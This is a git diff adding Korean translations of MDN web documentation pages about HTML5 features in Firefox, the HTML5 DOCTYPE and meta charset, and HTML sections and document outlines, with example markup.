+ <dd>Firefox는 HTML5의 오프 라인 자원 사양을 완전하게 구현 및 지원하고 있습니다. 대다수 브라우저의 몇 가지 레벨로 오프 라인 자원을 기술 지원하고 있습니다.</dd>
+ <dt><a href="/ko/Online_and_offline_events" title="ko/Online_and_offline_events">Online 이벤트와 Offline 이벤트</a></dt>
+ <dd>Firefox 3은 WHATWG의 online 및 offline 이벤트를 기술 지원하고 있습니다. 이러한 이벤트는 애플리케이션이나 확장 기능에 현재 인터넷 접속 상태의 연결 여부를 확인할 수 있습니다.</dd>
+ <dt><a href="/ko/DOM/Storage" title="ko/DOM/Storage">WHATWG 클라이언트 사이드 세션 스토리지 및 영구 스토리지 (DOM Storage)</a></dt>
+ <dd>클라이언트 사이드 세션 스토리지와 영구 스토리지에 의하고 웹 애플리케이션이 구조화 데이터를 클라이언트 측에 저장할 수 있도록 합니다.</dd>
+ <dt><a href="/ko/HTML/Content_Editable" title="ko/HTML/Content Editable"><code>contentEditable</code> 속성: 웹 사이트 및 위키 편집 용이성</a></dt>
+ <dd>HTML5 에서는 <code>contentEditable</code> 속성이 표준화 되었습니다. 이 기능에 대해 살펴봅니다.</dd>
+ <dt><a href="/ko/Using_files_from_web_applications" title="ko/Using_files_from_web_applications">로컬 파일 사용하기</a></dt>
+ <dd>새로운 HTML5 File API 지원이 Gecko에 추가되었습니다. 이 API는 웹 애플리케이션이 사용자가 선택한 로컬 파일에 접근 하는 것을 가능하게 합니다. 이것에는 <a href="/ko/HTML/Element/Input#attr-type" title="ko/HTML/Element/input#attr-type"><strong>type</strong></a> 속성의 값에 <code>file</code>를 지정한 <code>{{ HTMLElement("input") }}</code> 요소에 새롭게 추가된 <a href="/ko/HTML/Element/Input#attr-multiple" title="ko/HTML/Element/input#attr-multiple"><strong>multiple</strong></a> 속성을 이용하는 것으로 복수 파일을 선택할 수 있게 되는 기술 지원가 포함되어 있습니다.</dd>
+</dl>
+
+<h2 id="DOM_주요_기능">DOM 주요 기능</h2>
+
+<dl>
+ <dt><a href="/ko/DOM/document.getElementsByClassName" title="ko/DOM/document.getElementsByClassName">getElementsByClassName</a></dt>
+ <dd>Document 및 Element 노드에 있어서의 <code>getElementsByClassName</code> 메소드가 지원되어 있습니다. 이러한 메소드를 이용하는 것으로 지정한 클래스 또는 지정한 클래스의 목록를 가지는 요소를 찾아낼 수 있습니다.</dd>
+ <dt><a href="/Ja/DragDrop/Drag_and_Drop" title="ko/DragDrop/Drag_and_Drop">드래그 앤 드롭</a></dt>
+ <dd>HTML5의 드래그앤 드롭 API는 웹 사이트간에 있어서의 아이템의 끌어오기 및 놓기 기능을 지원합니다. 또, 확장 기능이나 Mozilla 기반의 애플리케이션으로 사용할 수 있는 단순한 API 도 제공합니다.</dd>
+ <dt><a href="/ko/Focus_management_in_HTML" title="ko/Focus_management_in_HTML">HTML 내 포커스 관리</a></dt>
+ <dd>HTML5가 새로운 <code>activeElement</code> 속성과 <code>hasFocus</code> 속성이 지원되어 있습니다.</dd>
+ <dt><a href="/ko/Web-based_protocol_handlers" title="ko/Web-based_protocol_handlers">웹 기반 프로토콜 핸들러</a></dt>
+ <dd><code>navigator.registerProtocolHandler()</code>메소드를 사용하여, 웹 애플리케이션을 프로토콜 핸들러로서 등록할 수 있게 되었습니다.</dd>
+</dl>
+
+<h2 id="HTML_파서">HTML 파서</h2>
+
+<p>Gecko의 <a href="/ko/HTML/HTML5/HTML5_Parser" title="ko/HTML/HTML5/HTML5 parser">HTML5 표준 파서</a>(HTML 문서를  DOM으로 변환하는 엔진)는 2010 년 3 월에 기본적으로 사용됩니다(Gecko 1.9.2 / Firefox 3.6에 탑재되어 있는 시점의 HTML5 파서는 매우 불안정한 버전이며 실제 이용하는 것을 추천 하지 않습니다).{{ fx_minversion_inline(4.0) }}</p>
+
+<h2 id="추가_변경사항">추가 변경사항</h2>
+
+<ul>
+ <li>HTML 문서에 있어서의 <code>localName</code> 및 <code>namespaceURI</code>는 XML 문서 때와 같은 행동을 하게 되었습니다. 예를 들면, <code>localName</code>는 소문자를 돌려주어, HTML 요소의 <code>namespaceURI</code>는 <code>"<a class="external" href="http://www.w3.org/1999/xhtml" rel="external nofollow" title="http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a>"</code>를 돌려줍니다.</li>
+ <li>페이지 URI 문서 단편 식별자 ("#" (해시) 문자에서 후의 부분)가 변경되었을 때, 새로운 <code>hashchange</code> 이벤트가 페이지에 보내집니다. 자세한 것은 <code><a href="/ko/DOM/window.onhashchange" title="ko/DOM/window.onhashchange">window.onhashchange</a></code>를 참조해 주십시오.</li>
+ <li><code>class</code> 속성을 보다 간단하게 취급할 수 있도록 HTML5의 <code><a href="/ko/DOM/element.classList" title="ko/DOM/element.classList">element.classList</a></code>이 기술 지원되었습니다.</li>
+ <li>문서에 즉시 생성되는 이벤트에 응하는 <code><a href="/ko/DOM/document.onreadystatechange" title="ko/DOM/document.onreadystatechange">document.onreadystatechange</a></code>와 <code><a href="/ko/DOM/document.readyState" title="ko/DOM/document.readyState">document.readyState</a></code>가 기술 지원되었습니다.</li>
+ <li>표시에 관련하는 속성으로 지정한 색은 HTML5의 사양에 따라서 해석됩니다.</li>
+</ul>
+
+<h2 id="HTML5의_일부로서_포함된_기술">HTML5의 일부로서 포함된 기술</h2>
+
+<p>아래 기술들은 "HTML5"의 광의의 영역에 포함되어 있습니다만 W3C의 HTML5 사양에 없는 것들입니다.</p>
+
+<ul>
+ <li><a href="/ko/WebGL" title="ko/WebGL">WebGL</a></li>
+ <li><a href="/ko/DOM/FileReader" title="ko/DOM/FileReader">FileReader</a></li>
+ <li><a href="/ko/DOM/XMLHttpRequest" title="ko/XMLHttpRequest">XMLHttpRequest</a></li>
+ <li><a href="/ko/DOM/Locating_DOM_elements_using_selectors" title="ko/DOM/Locating DOM elements using selectors">querySelector(All)</a></li>
+ <li><a href="/Ja/Using_geolocation" title="ko/Using geolocation">Geolocation</a></li>
+ <li><a href="/ko/JavaScript/ECMAScript_5_support_in_Mozilla" title="ko/JavaScript/ECMAScript 5 support in Mozilla">ECMAScript5</a></li>
+ <li><a href="/ko/CSS/CSS3" title="CSS3">CSS3</a></li>
+ <li><a href="/ko/XBL2_specification_(external)" title="ko/XBL2 specification (external)">XBL2</a></li>
+ <li><a href="/ko/DOM/Using_web_workers" title="ko/Using web workers">Web Workers</a></li>
+ <li><a href="/ko/WebSockets" title="https://developer.mozilla.org/ko/WebSockets">Web Sockets</a></li>
+ <li>JavaScript의 고속화</li>
+</ul>
+
+<h2 id="관련_문서">관련 문서</h2>
+
+<p>웹 발자에게 영향이 있는 Firefox 출시 버전에 따른 변경점:</p>
+
+<ul>
+ <li><a href="/ko/Firefox_12_for_developers" title="Firefox 12 for developers">Firefox 12</a></li>
+ <li><a href="/ko/Firefox_11_for_developers" title="Firefox 11 for developers">Firefox 11</a></li>
+ <li><a href="/ko/Firefox_10_for_developers" title="Firefox 10 for developers">Firefox 10</a></li>
+ <li><a href="/ko/Firefox_9_for_developers" title="Firefox 9 for developers">Firefox 9</a></li>
+ <li><a href="/ko/Firefox_8_for_developers" title="Firefox 8 for developers">Firefox 8</a></li>
+ <li><a href="/ko/Firefox_7_for_developers" title="Firefox 7 for developers">Firefox 7</a></li>
+ <li><a href="/ko/Firefox_6_for_developers" title="Firefox 6 for developers">Firefox 6</a></li>
+ <li><a href="/ko/Firefox_5_for_developers" title="Firefox 5 for developers">Firefox 5</a></li>
+ <li><a href="/ko/Firefox_4_for_developers" rel="internal">Firefox 4 </a></li>
+ <li><a href="/ko/Firefox_3.6_for_developers" title="ko/Firefox 3.6 for developers">Firefox 3.6 </a></li>
+ <li><a href="/Ja/Firefox_3.5_for_developers" title="ko/Firefox 3.5 for developers">Firefox 3.5 </a></li>
+ <li><a href="/ko/Firefox_3_for_developers" title="ko/Firefox 3 for developers">Firefox 3 </a></li>
+ <li><a href="/ko/Firefox_2_for_developers" title="ko/Firefox 2 for developers">Firefox 2 </a></li>
+ <li><a href="/ko/Firefox_1.5_for_developers" title="ko/Firefox 1.5 for developers">Firefox 1.5</a></li>
+</ul>
diff --git a/files/ko/web/html/html5/introduction_to_html5/index.html b/files/ko/web/html/html5/introduction_to_html5/index.html
new file mode 100644
index 0000000000..8b9698dc53
--- /dev/null
+++ b/files/ko/web/html/html5/introduction_to_html5/index.html
@@ -0,0 +1,40 @@
+---
+title: HTML5 소개
+slug: Web/HTML/HTML5/Introduction_to_HTML5
+tags:
+ - HTML5
+ - 웹개발
+translation_of: Web/Guide/HTML/HTML5/Introduction_to_HTML5
+---
+<p><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/" title="http://www.whatwg.org/specs/web-apps/current-work/">HTML5</a>는 HTML 표준의 가장 새로운 버전입니다. HTML5를 통해 리치 미디어의 기술 지원 뿐만이 아니라, 사용자 및 로컬 데이터를 웹 서버 사이에 보다 간편하면서도 효과적으로 교환할 수 있는 웹 애플리케이션을 개발하기 위한 확장 기술 지원를 제공하는 새로운 기능도 제공됩니다.</p>
+
+<p>HTML5는 아직 표준 제정 단계에 있기 때문에 현재 사양에 대한 변경이 있을 것입니다. 따라서 모든 브라우저에 HTML5 기능 모든 것이 기술 지원되어 있는 것은 아닙니다. 하지만, Gecko (그리고 이를 사용하는 Firefox)에는 훌륭하게 HTML5의 최초 단계 기술 지원이 포함되어 있어 새로운 기능에 대한 대처를 계속하고 있습니다. Gecko는 버전 1.8.1에서 HTML5의 기능을 기술 지원하기 시작했습니다. <a href="/ko/HTML/HTML5" title="ko/HTML/HTML5">HTML5의 메인 페이지</a>에 Gecko가 기술 지원하고 있는 HTML5기능 목록이 있습니다. 여러 브라우저의 기술 지원 상황의 상세한 정보에 대해서는 <a class="external" href="http://caniuse.com/#cats=HTML5" title="http://caniuse.com/#cats=HTML5">CanIUse</a> 웹 사이트를 참조해 주십시오.</p>
+
+<h2 id="HTML5_DOCTYPE">HTML5 DOCTYPE</h2>
+
+<p>HTML5의 DOCTYPE는 매우 간단합니다. HTML 콘텐트로 HTML5를 사용하는 것을 나타내려면 단순하게 아래와 같이 합니다:</p>
+
+<pre>&lt;!DOCTYPE html&gt;
+</pre>
+
+<p>이  DOCTYPE은 현재 HTML5를 기술 지원하고 있지 않는 브라우저조차, HTML의 호환성을 유지함과 동시에 HTML5의 규격 대로 기능이 지원되지 않더라도 신기능을 무시하는 것을 의미하는 표준 모드로 전환합니다.</p>
+
+<p>이것은 이전의 doctype들 보다 훨씬 간단하고 짧으며, 기억하기 쉽고, 다운로드 받아야 하는 바이트의 양을 줄여줍니다.</p>
+
+<h2 id="&lt;meta_charset>으로_문자셋_정의하기"><code>&lt;meta charset&gt;으로 문자셋 정의하기</code></h2>
+
+<p>보통 문서의 처음에는 사용된 문자셋을 정의합니다. 이전 버전의 HTML에서는 매우 복잡한 {{HTMLElement("meta")}} 엘리먼트를 통해서 문자셋을 정의했습니다. 이제는 이렇게 간단해졌습니다.</p>
+
+<pre class="brush:html; line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>UTF-8<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p><code>이것을 {{HTMLElement("head") }} 뒤에 가져다 놓으세요. 몇몇 브라우저는 HTML에 기대했던것과 다른 문자셋이 정의되어 있으면 문서를 다시 해석합니다. 또한, 여러분이 현재 다른 문자셋을 사용하고 있다면 UTF-8로 여러분 웹 페이지의 문자셋을 변경하는것을 추천합니다. 이것이 여러 스크립트를 사용한 문서의 문자 처리를 단순화시켜줍니다.</code></p>
+
+<p><code>HTML5는 ASCII와 호환되며 적어도 8비트의 크기를 가지는 문자셋만을 지원합니다. 이렇게 함으로서 보안을 강화하고 특정형태의 공격을 방지할수 있습니다.</code></p>
+
+<h2 id="새로운_HTML5_해석기의_사용">새로운 HTML5 해석기의 사용</h2>
+
+<p>HTML5에서는 마크업의 의미를 분석하는 해석 룰이 더 정확하게 정의 되었습니다. HTML5가 나오기 전까지는 단지 유효한 마크업의 의미만 정의되었기 때문에 마크업에 작은 에러라도 있을 때 문서를 어떻게 해석해야 할지는 정의되지 않았습니다. 결국 모든 브라우저가 서로 다르게 작동했습니다. 이제는 그렇지 않습니다. 이제 마크업에 에러가 있을 때는 모든 호환 브라우저가 똑같이 반응해야 합니다.</p>
+
+<p>이 요구사항이 웹 개발자들의 삶을 꽤 편하게 해줍니다. 이제 모든 최신 브라우저가 HTML5의 해석 룰을 따르지만 HTML5-비호환 브라우저들도 여전히 사용되고 있습니다. 유효한 마크업을 사용하면 읽기 편하고 유지보수에 좋을 뿐 아니라, 여러 오래된 브라우저에서 호환되지 않을 가능성을 매우 줄여주기 때문에 이를 매우 추천합니다.</p>
+
+<p>걱정하지 마세요 — 여러분 웹사이트를 손 댈 필요는 없습니다 — 웹브라우저 개발자들이 여러분을 위해 모두 준비해놓았습니다!</p>
diff --git a/files/ko/web/html/html5_문서의_섹션과_윤곽/index.html b/files/ko/web/html/html5_문서의_섹션과_윤곽/index.html
new file mode 100644
index 0000000000..87cae41ebd
--- /dev/null
+++ b/files/ko/web/html/html5_문서의_섹션과_윤곽/index.html
@@ -0,0 +1,367 @@
+---
+title: HTML 구획과 개요 사용하기
+slug: Web/HTML/HTML5_문서의_섹션과_윤곽
+tags:
+ - HTML
+ - HTML5
+translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines
+---
+<div>{{HTMLSidebar}}</div>
+
+<div class="warning">
+<p><strong>중요</strong>: 개요 알고리즘은 W3C의 최종 명세에 포함된 적이 없고, 브라우저와 보조 기술 중 알고리즘을 구현한 경우도 없습니다. 따라서 <a href="https://html.spec.whatwg.org/multipage/sections.html#outline">개요</a> 알고리즘을 사용해 사용자에게 문서 구조를 나타내서는 <strong>안됩니다</strong>. 문서 작성자는 대신 제목 <a href="https://html.spec.whatwg.org/multipage/sections.html#rank">순위</a>(<a href="https://html.spec.whatwg.org/multipage/sections.html#the-h1-h2-h3-h4-h5-and-h6-elements">h1-h6</a>)를 사용해 문서 구조를 나타내는 것이 좋습니다.</p>
+</div>
+
+<p>HTML5 표준 명세서에서는 웹 개발자가 표준화된 의미론적 체계를 가지고 웹 문서의 구조를 표현할 수 있게 해주는 몇 개의 새로운 요소들을 선보였습니다. 이 문서에서는 이 새로운 요소들과 문서의 아웃라인을 의도한 대로 정의하는 법을 설명하고 있습니다.</p>
+
+<p>예를 들면 &lt;div&gt;는 콘텐츠에 대한 어떠한 내용도 포함하지 않지만, &lt;figcaption&gt;은 콘텐츠에 어떤 내용을 포함하고 있는지를 명확하게 포함합니다.</p>
+
+<p>새로운 의미론적 요소들은 HTML5에서 웹사이트의 내용을 구분하는 것을 향상시키기 위해 추가되었습니다. 개발자들은 표시된 목적 이외의 용도로 의미론적 요소를 사용하지 않도록 하는 것이 중요합니다.</p>
+
+<h2 id="HTML4에서의_문서_구조">HTML4에서의 문서 구조</h2>
+
+<p><span style="line-height: inherit;">문서의 구조, 즉 <code>&lt;body&gt;</code>와 <code>&lt;/body&gt;</code> 사이에 있는 것의 의미론적 구조는, 페이지 내용을 사용자에게 전달하는 데 중요한 토대가 됩니다.</span> HTML4에선 일종의 섹션과 그 하위 섹션으로 구분하는 개념을 써서 문서의 구조를 표현합니다. 섹션은 HTML 구획({{HTMLElement("div")}})요소와 함께 그 안에 있는 제목을 정의하는 HTML 제목 요소({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, 혹은 {{HTMLElement("h6")}})를 써서 정의됩니다. 이런 HTML 구획 요소와 HTML 제목 요소의 관계가 문서의 구조와 그 아웃라인을 결정짓게 됩니다.</p>
+
+<p>그래서 다음과 같은 마크업은:</p>
+
+<pre class="brush: xml">&lt;div class="section" id="forest-elephants"&gt;
+ &lt;h1&gt;둥근귀코끼리&lt;/h1&gt;
+ &lt;p&gt;이번 섹션에선, 잘 알려지지 않은 둥근귀코끼리에 대해 알아보겠습니다.
+ ...섹션 내용 진행 중...
+ &lt;div class="subsection" id="forest-habitat"&gt;
+ &lt;h2&gt;서식지&lt;/h2&gt;
+ &lt;p&gt;<span style="color: #323333; font-family: courier new;">둥근귀코끼리는 나무에 살지는 않고 나무들 사이에 그 서식지를 이루고 있습니다.</span>
+ ...하위 섹션 내용 진행 중...
+ &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p><span style="line-height: inherit;">다음과 같은 문서 아웃라인을 가지게 됩니다:</span></p>
+
+<pre>1. 둥근귀코끼리
+ 1.1 서식지
+</pre>
+
+<p>새로운 섹션을 정의할 때 {{HTMLElement("div")}} 요소가 꼭 필요한 것은 아닙니다. 단순히 HTML 제목 요소만 있으면 새로운 섹션이 시작됨을 자동으로 암시해 줍니다. 그래서,</p>
+
+<pre class="brush: xml">&lt;h1&gt;둥근귀코끼리&lt;/h1&gt;
+&lt;p&gt;이번 섹션에선, 잘 알려지지 않은 둥근귀코끼리에 대해 알아보겠습니다.
+...섹션 내용 진행 중...
+&lt;h2&gt;서식지&lt;/h2&gt;
+&lt;p&gt;둥근귀<span style="color: #323333; font-family: courier new;">코끼리는 나무에 살지는 않고 나무들 사이에 그 서식지를 이루고 있습니다.</span>
+...하위 섹션 내용 진행 중...
+&lt;h2&gt;먹이&lt;/h2&gt;
+&lt;h1&gt;몽골 게르빌루스쥐&lt;/h1&gt;</pre>
+
+<p>앞의 문서는 다음과 같은 아웃라인을 가지게 됩니다:</p>
+
+<pre>1. 둥근귀코끼리
+ 1.1 서식지
+ 1.2 먹이
+2. 몽골 게르빌루스쥐
+</pre>
+
+<h2 id="HTML5에서_해결한_문제들">HTML5에서 해결한 문제들</h2>
+
+<p>HTML4에서의 문서 구조에 대한 정의와 여기에 내포된 암묵적인 문서 알고리듬은 매우 투박해서 다음과 같은 많은 문제점을 가지고 있습니다:</p>
+
+<ol>
+ <li>의미론적으로 섹션을 정의하는데 {{HTMLElement("div")}}을 사용하면, 특히나 <strong>class</strong> 속성에 어떠한 값도 지정하지 않았을 땐, 문서의 아웃라인을 파악하는 알고리듬을 자동화하는 <font color="#000000">것은 불가능합니다</font>("사용된 {{HTMLElement("div")}}이 문서 아웃라인에 포함되는가, 만약 포함된다면 섹션인가 아니면 하위 섹션인가?" 혹은 "오로지 스타일 목적으로만 쓰인 표상적인 {{HTMLElement("div")}}일 뿐인가?"). 바꾸어 말하면, HTML4 표준 명세서에는 무엇이 섹션이고 어떻게 그 범위를 구분 짓는지에 대해 매우 모호하게 정의해 놓았습니다. 문서의 윤곽을 자동으로 생성하는 작업은 매우 중요하며, 특히나 <a class="external" href="http://en.wikipedia.org/wiki/Assistive_technology" title="http://en.wikipedia.org/wiki/Assistive_technology">보조 장비에 사용되는 기술</a>에선 더욱 그러한데, 이를 이용해서 파악된 문서의 구조를 바탕으로 사용자에게 정보를 전달해 주게 된다는 것을 고려하면 그 중요성은 더욱 명확해집니다. HTML5에선 HTML 섹션 요소로 새롭게 {{HTMLElement("section")}} 요소를 도입하면서 문서 아웃라인 알고리듬에서 {{HTMLElement("div")}} 요소의 사용 필요성을 없애버렸습니다.</li>
+ <li>여러 문서를 하나로 합치는 일은 복잡하고 어려운 일입니다: 주 문서에 어떤 하위 문서를 추가할 때 원래 문서의 아웃라인을 온전히 보전하려면 HTML 제목 요소의 계급을 고쳐야만 하는 일이 생깁니다. HTML5에서 새로 소개된 섹션을 구분 짓는 요소들({{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("nav")}} 그리?고 {{HTMLElement("aside")}})은, 내부에 포함된 제목 요소와 관계없이, 항상 그들이 속한 가장 가까운 상위 섹션의 바로 밑 하위 섹션으로 자리 잡게 되면서 이 문제를 해결하였습니다.</li>
+ <li>HTML4에선 모든 섹션이 문서 아웃라인에 영향을 주게 됩니다. 하지만 문서?가 언제나 그렇게 선형적이지만은 않지요. 문서에는 가령 광고 표시 문구를 담고 있는 구역이나 설명 문구를 담은 구획처럼 주 내용의 흐름에는 포함되진 않지만, 간접적으로 연관되는 정보를 가진 특별한 섹션이 포함될 수도 있습니다. HTML5에선 이렇게 문서의 주요 내용 윤곽에는 포함되지 않는 {{HTMLElement("aside")}} 요소가 소개되었습니다.</li>
+ <li>반복되는 얘기지만, HTML4에선 모든 섹션이 문서의 아웃라인에 포함되기 때문에 로고나 메뉴, 문서의 목차, 혹은 저작권 정보나 법률적 고지처럼 특정 문서가 아닌 사이트 전체와 관련된 정보를 포함하는 섹션을 표현할 수가 없었습니다. 이러한 목적으로, HTML5에서 다음과 같은 세 가지 특수 목적의 섹션 요소를 소개하였습니다: 예를 들어 콘텐츠의 목차처럼 링크들의 모음을 감싸줄 때 쓰는 {{HTMLElement("nav")}} 그리고 사이트와 관련된 정보 표시를 위한 {{HTMLElement("footer")}}와 {{HTMLElement("header")}}가 있습니다.</li>
+</ol>
+
+<p>좀 더 포괄적으로 말하면 HTML5에선 문서를 구획하고 이들에게 제목을 부여하는 방법이 좀 더 세밀해지면서, 문서의 아웃라인 파악이 좀 더 예측 가능해지고 덩달아 이를 이용한 브라우저를 통해서 사용자 경험도 향상됩니다.</p>
+
+<h2 id="HTML5_문서_아웃라인_알고리즘">HTML5 문서 아웃라인 알고리즘</h2>
+
+<p>HTML이 섹션과 문서 아웃라인을 다루는 방식에 기반한 알고리즘을 생각해 보겠습니다.</p>
+
+<h3 id="HTML5에서의_섹션_정의">HTML5에서의 섹션 정의</h3>
+
+<p>우선 {{HTMLElement("body")}} 요소 안에 배치된 콘텐츠는 모두 적어도 하나의 섹션 안에 포함되어 자리하게 됩니다. 그리고 HTML5에서 섹션은 서로 중첩되서 표시될 수도 있습니다. {{HTMLElement("body")}} 요소에 의해 정의된 주요 섹션을 제외하고, 모든 섹션은 명시적으로나 혹은 은연중 자동으로 구분되어 정의될 수 있습니다. 명시적으로 정의되는 섹션은 {{HTMLElement("body")}}, {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("footer")}}, {{HTMLElement("header")}}, 그리고 {{HTMLElement("nav")}} 태그들 안에 포함된 콘텐츠입니다.</p>
+
+<div class="note">각 섹션은 자기들만의 제목 계층을 가질 수 있습니다. 그래서, 중첩된 섹션이라도 {{HTMLElement("h1")}} 제목을 가질 수 있습니다. <a href="/ko/docs/Web/HTML/HTML5_문서의_섹션과_윤곽#HTML5.EC.97.90.EC.84.9C_.EC.A0.9C.EB.AA.A9_.EC.A7.80.EC.A0.95.ED.95.98.EB.8A.94_.EB.B2.95" title="en-US/docs/Sections_and_Outlines_of_an_HTML5_document#Defining_Headings_in_HTML5">HTML5에서 제목 지정하는 법</a>을 보십시오.</div>
+
+<p>보기:</p>
+
+<pre class="brush:xml">&lt;section&gt;
+ &lt;h1&gt;둥근귀코끼리&lt;/h1&gt;
+ &lt;section&gt;
+ &lt;h1&gt;소개&lt;/h1&gt;
+ &lt;p&gt;이번 섹션에선, 잘 알려지지 않은 둥근귀코끼리에 관해 알아보겠습니다.&lt;/p&gt;
+ &lt;/section&gt;
+ &lt;section&gt;
+ &lt;h1&gt;서식지&lt;/h1&gt;
+ &lt;p&gt;둥근귀코끼리는 나무에 살지는 않고 나무들 사이에 그 서식지를 이루고 있습니다.&lt;/p&gt;
+ &lt;/section&gt;
+ &lt;aside&gt;
+ &lt;p&gt;광고 구역&lt;/p&gt;
+ &lt;/aside&gt;
+&lt;/section&gt;
+&lt;footer&gt;
+ &lt;p&gt;(c) 2013 회사 이름&lt;/p&gt;
+&lt;/footer&gt;</pre>
+
+<p>위에 있는 HTML 코드에선 가장 윗 단계에 두 개의 섹션이 정의되었습니다:</p>
+
+<pre><span style="color: red;">&lt;section&gt;
+ &lt;h1&gt;</span>둥근귀<span style="color: red;">코끼리&lt;/h1&gt;
+ &lt;section&gt;
+ &lt;h1&gt;소개&lt;/h1&gt;
+ &lt;p&gt;이번 섹션에선, 잘 알려지지 않은 </span>둥근귀<span style="color: red;">코끼리에 관해 알아보겠습니다.&lt;/p&gt;
+ &lt;/section&gt;
+ &lt;section&gt;
+ &lt;h1&gt;서식지&lt;/h1&gt;
+ &lt;p&gt;</span>둥근귀<span style="color: red;">코끼리는 나무에 살지는 않고 나무들 사이에 그 서식지를 이루고 있습니다.&lt;/p&gt;
+ &lt;/section&gt;
+ &lt;aside&gt;
+ &lt;p&gt;광고 구역&lt;/p&gt;
+ &lt;/aside&gt;
+&lt;/section&gt;</span>
+
+<span style="color: green;">&lt;footer&gt;
+ &lt;p&gt;(c) 2013 회사 이름?&lt;/p&gt;
+&lt;/footer&gt;</span></pre>
+
+<p>첫 번째 섹션에선 세 개의 하위 섹션이 존재합니다:</p>
+
+<pre>&lt;section&gt;
+ &lt;h1&gt;둥근귀코끼리&lt;/h1&gt;
+
+ <span style="color: red;">&lt;section&gt;
+ &lt;h1&gt;소개&lt;/h1&gt;
+ &lt;p&gt;이번 섹션에선, 잘 알려지지 않은 </span>둥근귀<span style="color: red;">코끼리에 관해 알아보겠습니다.&lt;/p&gt;</span>
+<span style="color: red;"> &lt;/section&gt;</span>
+
+ <span style="color: green;">&lt;section&gt;
+ &lt;h1&gt;서식지&lt;/h1&gt;
+ &lt;p&gt;</span>둥근귀<span style="color: green;">코끼리는 나무에 살지는 않고 나무들 사이에 그 서식지를 이루고 있습니다.&lt;/p&gt;
+ &lt;/section&gt;</span>
+
+ <span style="color: blue;">&lt;aside&gt;
+ &lt;p&gt;광고 구역&lt;/p&gt;
+ &lt;/aside&gt;</span>
+&lt;/section&gt;
+
+&lt;footer&gt;
+ &lt;p&gt;(c) 2013 회사 이름&lt;/p&gt;
+&lt;/footer&gt;</pre>
+
+<p>그래서 다음과 같은 구조를 가지게 됩니다:</p>
+
+<pre>1. 둥근귀코끼리
+ 1.1 소개
+ 1.2 서식지
+ 1.3 광고 구역 (aside)
+</pre>
+
+<h3 id="HTML5에서_제목_지정하는_법">HTML5에서 제목 지정하는 법</h3>
+
+<p>비록 명시적 HTML 섹션 요소가 문서의 전체 구조를 정해주기는 하지만, 그 아웃라인을 좀 더 명확하게 표현하려면 제목의 사용도 중요합니다. 기본 규칙은 단순합니다: 처음 쓰인 HTML 제목 요소({{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}} 중 하나)가 해당 섹션의 제목으로 정해집니다.</p>
+
+<p><span style="line-height: inherit;">제목 요소엔 요소 이름에 붙은 숫자를 가지고 <em>계급</em>을 매기는데,</span> {{HTMLElement("h1")}}이 <em>최상위</em> 계급이며 {{HTMLElement("h6")}}는 <em>최하위</em> 계급이 됩니다. 제목 간 계급의 상대적 등급은 오로지 같은 섹션 안에서만 중요해집니다; 이 말은 섹션의 구조가 문서의 아웃라인을 결정짓는 데 중요한 변수로 작용하지만, 섹션 안에서 사용된 제목의 계급은 여기에 아무런 관련이 없다는 얘기입니다. 예를 들어, 아래와 같은 코드를 살펴보면:</p>
+
+<pre class="brush:xml">&lt;section&gt;
+ &lt;h1&gt;둥근귀코끼리&lt;/h1&gt;
+ &lt;p&gt;이번 섹션에선, 잘 알려지지 않은 둥근귀코끼리에 관해 알아보겠습니다.
+ ...계속 된 섹션 내용...
+ &lt;section&gt;
+ &lt;h2&gt;서식지&lt;/h2&gt;
+ &lt;p&gt;둥근귀코끼리는 나무에 살지는 않고 나무들 사이에 그 서식지를 이루고 있습니다.
+ ...계속 된 하위 섹션 내용...
+ &lt;/section&gt;
+&lt;/section&gt;
+&lt;section&gt;
+ &lt;h3&gt;몽골 게르빌루스쥐&lt;/h3&gt;
+ &lt;p&gt;이번 섹션에선, 잘 알려진 몽골 게르빌루스쥐에 관해 알아보겠습니다.
+ ...계속 된 섹션 내용...
+&lt;/section&gt;</pre>
+
+<p>이는 다음과 같은 아웃라인을 갖게 됩니다:</p>
+
+<pre>1. 둥근귀코끼리
+ 1.1 서식지
+2. 몽골 게르빌루스쥐</pre>
+
+<p>여기서 쓰인 제목 요소의 계급(위 보기에선 처음 최상위 섹션의 {{HTMLElement("h1")}}, 그 하위 섹션의 {{HTMLElement("h2")}} 그리고 두 번째 최상위 섹션에서 사용된 {{HTMLElement("h3")}})은 중요하지 않다는 점을 주목하십시오. (명시적으로 정의된 섹션의 제목으로 어떠한 계급을 써도 상관은 없지만, 이 방식이 권장되는 것은 아닙니다.)</p>
+
+<h3 id="은연중_자동으로_정의되는_섹션">은연중 자동으로 정의되는 섹션</h3>
+
+<p>HTML5에서 소개된 명시적 섹션 요소들만이 문서의 아웃라인을 정의하는 데 <span style="line-height: inherit;">절대적으로 </span><span style="line-height: inherit;">필요한 요소는 아니므로, 기존 웹에서 지배적으로 사용되는 HTML4와의 호환성을 지키려는 노력의 일환으로, 이들 없이도 섹션을 정의하는 또 하나의 방법이 있습니다. 이를 </span><em>은연중 자동으로 정의되는 섹션</em><span style="line-height: inherit;">이라 하겠습니다</span><span style="line-height: inherit;">.</span></p>
+
+<p>HTML 제목 요소({{HTMLElement("h1")}}부터 {{HTMLElement("h6")}})는 만약에 그들이 속한 상위 명시적 섹션의 첫 번째 제목으로 사용되지 않았다면, 자동으로 또 하나의 새로운 암묵적인 섹션으로 분류/정의되어 집니다. 이들 암묵적 섹션이 문서 아웃라인에서 위치하게 되는 기준은 기존 이들 제목을 포함하고 있는 상위 섹션에서 사용된 제목과의 상대적 계급에 따라 결정됩니다. 만약 전에 사용된 제목보다 계급이 더 낮다면, 은연중으로 해당 섹션의 하위 섹션으로 자리 잡게 됩니다. 아래 코드를 살펴보면:</p>
